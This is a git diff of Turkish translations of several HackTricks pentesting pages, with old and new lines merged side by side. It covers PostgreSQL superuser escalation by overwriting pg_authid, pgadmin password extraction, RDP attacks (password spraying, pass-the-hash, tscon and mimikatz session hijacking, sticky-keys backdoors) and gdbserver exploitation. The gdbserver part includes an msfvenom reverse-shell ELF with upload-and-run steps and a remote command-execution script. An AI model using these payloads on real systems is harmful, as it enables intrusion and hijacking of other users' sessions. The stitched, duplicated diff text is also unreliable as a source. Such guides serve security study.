### Dahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme ### Dahili PostgreSQL Tablolarını Üzerine Yazarak İzin Yükseltme
{% hint style="info" %} {% hint style="info" %}
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır. Aşağıdaki izin yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır.
{% endhint %} {% endhint %}
Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosu ile ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı** olabilirsiniz. Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosuyla ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı olabilirsiniz**.
Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/) ulaşabilirsiniz. Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)** ulaşabilirsiniz.**
Saldırı adımları şunlardır: Saldırı adımları şunlardır:
1. PostgreSQL veri dizinini elde et 1. PostgreSQL veri dizinini elde et
2. `pg_authid` tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et 2. `pg_authid` tablosuyla ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et
3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir 3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir
4. `pg_authid` tablosu ile ilişkilendirilmiş veri türünü al 4. `pg_authid` tablosuyla ilişkilendirilmiş veri türünü al
5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak dosya düğümünü [düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla ve tam izinler ver 5. [PostgreSQL Filenode Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak [dosya düğümünü düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla
6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla tekrar yükle ve diskteki orijinal dosyayı üzerine yaz 6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diske orijinal dosyayı üzerine yaz
7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle 7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek tablo önbelleğini temizle
8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız. 8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız.
## **POST** ## **POST**
@ -775,7 +772,7 @@ Sonra, **hizmeti yeniden başlatın**.
[pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\ [pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\
Parolaları _**pgadmin4.db**_ dosyasının içinde bulabilirsiniz.\ Parolaları _**pgadmin4.db**_ dosyasının içinde bulabilirsiniz.\
Onları şu betik içindeki _**decrypt**_ fonksiyonunu kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) Onları şu betik içindeki _**decrypt**_ işlevini kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash ```bash
sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from user;"
@ -784,28 +781,6 @@ string pgadmin4.db
``` ```
### pg\_hba ### pg\_hba
PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adres aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa, erişim reddedilir. PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa, erişim reddedilir.
pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashlenmiş, crypt-şifrelenmiş veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz. pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, shell'ler açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz. **Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, shell'ler açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
@ -22,7 +22,7 @@ HackTricks'ı desteklemenin diğer yolları:
## Temel Bilgiler ## Temel Bilgiler
Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında ağ üzerinden grafik arayüz bağlantısını sağlamak amacıyla tasarlanmıştır. Bu tür bir bağlantı kurmak için kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının sorunsuz kontrol ve erişimine olanak tanır, esasen kullanıcının yerel cihazına arayüzünü getirir. Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), ağ üzerinden bilgisayarlar arasında grafik arayüz bağlantısını sağlamak amacıyla tasarlanmıştır. Bu tür bir bağlantı kurmak için kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının sorunsuz kontrol ve erişimine izin verir, esasen kullanıcının yerel cihazına arayüzünü getirir.
**Varsayılan port:** 3389 **Varsayılan port:** 3389
``` ```
@ -39,13 +39,13 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
``` ```
{% endcode %} {% endcode %}
Mevcut şifreleme ve DoS zafiyetini kontrol eder (hizmete DoS saldırısı yapmadan) ve NTLM Windows bilgilerini (sürümleri) elde eder. Bu, mevcut şifreleme ve DoS zafiyetini kontrol eder (hizmete DoS saldırısı yapmadan) ve NTLM Windows bilgilerini (sürümleri) elde eder.
### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#rdp) ### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#rdp)
**Dikkatli olun, hesapları kilitleyebilirsiniz** **Dikkatli olun, hesapları kilitleyebilirsiniz**
### **Şifre Sıçratma** ### **Şifre Spreyi**
**Dikkatli olun, hesapları kilitleyebilirsiniz** **Dikkatli olun, hesapları kilitleyebilirsiniz**
```bash ```bash
@ -61,15 +61,15 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP> xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
``` ```
### Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol et ### Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol edin
rdp_check.py, impacket'ten bir betiği kullanarak belirli kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar: rdp_check.py, impacket'ten bir betiği kullanarak belirli kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
```bash ```bash
rdp_check <domain>/<name>:<password>@<IP> rdp_check <domain>/<name>:<password>@<IP>
``` ```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Zararlı yazılım değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz ki bu da onlara daha fazla zaman kazandırarak daha derine inmelerini, kabukları patlatmalarını ve eğlenmelerini sağlar. **Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz ki onlar daha derine inebilsin, kabuklar açabilsin ve eğlenebilsin.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
@ -91,7 +91,7 @@ tscon <ID> /dest:<SESSIONNAME>
**Önemli**: Etkin bir RDP oturumuna eriştiğinizde, o oturumu kullanan kullanıcıyı atacaksınız. **Önemli**: Etkin bir RDP oturumuna eriştiğinizde, o oturumu kullanan kullanıcıyı atacaksınız.
Şifreleri işlemi dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifrelerin diske kaydedilmeden not defterinde, diğer makinelerde açılan diğer RDP oturumları...) Şifreleri işlemi dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşime girmenizi sağlar (şifrelerin diske kaydedilmeden not defterinde, diğer makinelerde açılan diğer RDP oturumları...)
#### **Mimikatz** #### **Mimikatz**
@ -102,13 +102,13 @@ ts::remote /id:2 #Connect to the session
``` ```
### Sticky-keys & Utilman ### Sticky-keys & Utilman
Bu teknikle **stickykeys** veya **utilman** ile birleştirildiğinde, her zaman bir yönetici CMD'sine ve herhangi bir RDP oturumuna erişebileceksiniz. Bu teknikleri **stickykeys** veya **utilman ile birleştirerek her zaman yönetici CMD'sine ve herhangi bir RDP oturumuna erişebileceksiniz**
Zaten bu tekniklerden biriyle arka kapıdan giriş yapılmış RDP'leri arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) Zaten bu tekniklerden biriyle backdoor eklenmiş RDP'leri arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection ### RDP Process Injection
Farklı bir etki alanından veya **daha iyi ayrıcalıklara sahip biri RDP** üzerinden **sisteme giriş yaptığında**, **siz yönetici olduğunuz PC'ye**, kendi **beacon'ınızı enjekte edebilir** ve onun gibi davranabilirsiniz: Farklı bir etki alanından veya **daha iyi ayrıcalıklara sahip biri RDP** üzerinden **siz Admin olduğunuz PC'ye giriş yaptığında**, onun **RDP oturum sürecine beacon'ınızı enjekte edebilir** ve onun gibi davranabilirsiniz:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**, öncelikle Microsoft Windows bilgisayarlarda **Shadow** saldırısını otomatikleştirmek için tasarlanmış Powershell'de oluşturulmuş bir son aşama saldırı çerçevesidir. Bu zayıflık (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **izin almadan kurbanının masaüstünü görmesine** ve hatta işletim sistemi içindeki araçları kullanarak isteğe bağlı olarak kontrol etmesine olanak tanır. **AutoRDPwn**, öncelikle Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış Powershell'de oluşturulmuş bir son aşama saldırı çerçevesidir. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın, işletim sistemi içinde bulunan araçları kullanarak **kurbanının masaüstünü izlemesine** ve isteğe bağlı olarak kontrol etmesine olanak tanır.
* [**EvilRDP**](https://github.com/skelsec/evilrdp) * [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Fare ve klavyeyi komut satırından otomatik olarak kontrol etme * Fare ve klavyeyi komut satırından otomatik olarak kontrol etme
* Pano üzerinden komut satırından otomatik olarak kontrol etme * Pano üzerinden komut satırından otomatik olarak kontrol etme
* İstemciden RDP aracılığıyla hedefe ağ iletişimini yönlendiren SOCKS proxy'si oluşturma * İstemciden bir SOCKS proxy oluşturarak ağ iletişimini hedefe RDP aracılığıyla yönlendirme
* Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile
* Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile * Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile
* Dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile
``` ```
Protocol_Name: RDP #Protocol Abbreviation if there is one. Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one. Port_Number: 3389 #Comma separated if there is more than one.
@ -148,22 +148,22 @@ Name: Nmap
Description: Nmap with RDP Scripts Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
``` ```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. **Vulnerability assessment ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Biz pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, shell'ler açmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong>!</summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katılın. * **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabuklar açma ve eğlenme zamanı kazanıyorlar. **Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabuklar açma ve eğlenme zamanı kazanıyorlar.
@ -22,15 +22,15 @@ HackTricks'ı desteklemenin diğer yolları:
## **Temel Bilgiler** ## **Temel Bilgiler**
**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı farklı bir makineden, "ana makine"den bağlanmasına izin verir. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı TCP veya seri hat üzerinden yapılabilir, esnek hata ayıklama kurulumlarına olanak tanır. **gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı "ana bilgisayar" olarak adlandırılan farklı bir makineden bağlanmasına olanak tanır. **gdbserver** ile hata ayıklama arasındaki bağlantı TCP veya seri hat üzerinden yapılabilir, esnek hata ayıklama kurulumlarına olanak tanır.
**gdbserver'ı dinleyebilirsiniz herhangi bir bağlantı noktasında** ve şu anda **nmap hizmeti tanıyamıyor**. **gdbserver'ı herhangi bir portta dinlemesini sağlayabilirsiniz** ve şu anda **nmap hizmeti tanıyamıyor**.
## Sömürü ## Sömürü
### Yükle ve Çalıştır ### Yükle ve Çalıştır
Kolayca bir **elf arka kapı oluşturabilirsiniz msfvenom ile**, yükleyebilir ve çalıştırabilirsiniz: Kolayca bir **elf arka kapı oluşturabilir, msfvenom ile yükleyebilir ve çalıştırabilirsiniz**:
```bash ```bash
# Trick shared by @B1n4rySh4d0w # Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@ -53,7 +53,7 @@ run
# You should get your reverse-shell # You should get your reverse-shell
``` ```
### Rastgele komutları yürütme ### Rastgele komutları yürüt
Başka bir yol, **hata ayıklayıcının rastgele komutları yürütmesini sağlamak için** [**buradan alınan python özel betiği kullanmaktır**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). Başka bir yol, **hata ayıklayıcının rastgele komutları yürütmesini sağlamak için** [**buradan alınan python özel betiği kullanmaktır**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash ```bash
@ -195,22 +195,22 @@ RemoteCmd()
``` ```
{% endcode %} {% endcode %}
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Uzaktan GDB sunucusu pentest etme**. Herhangi bir yerden 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. **Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
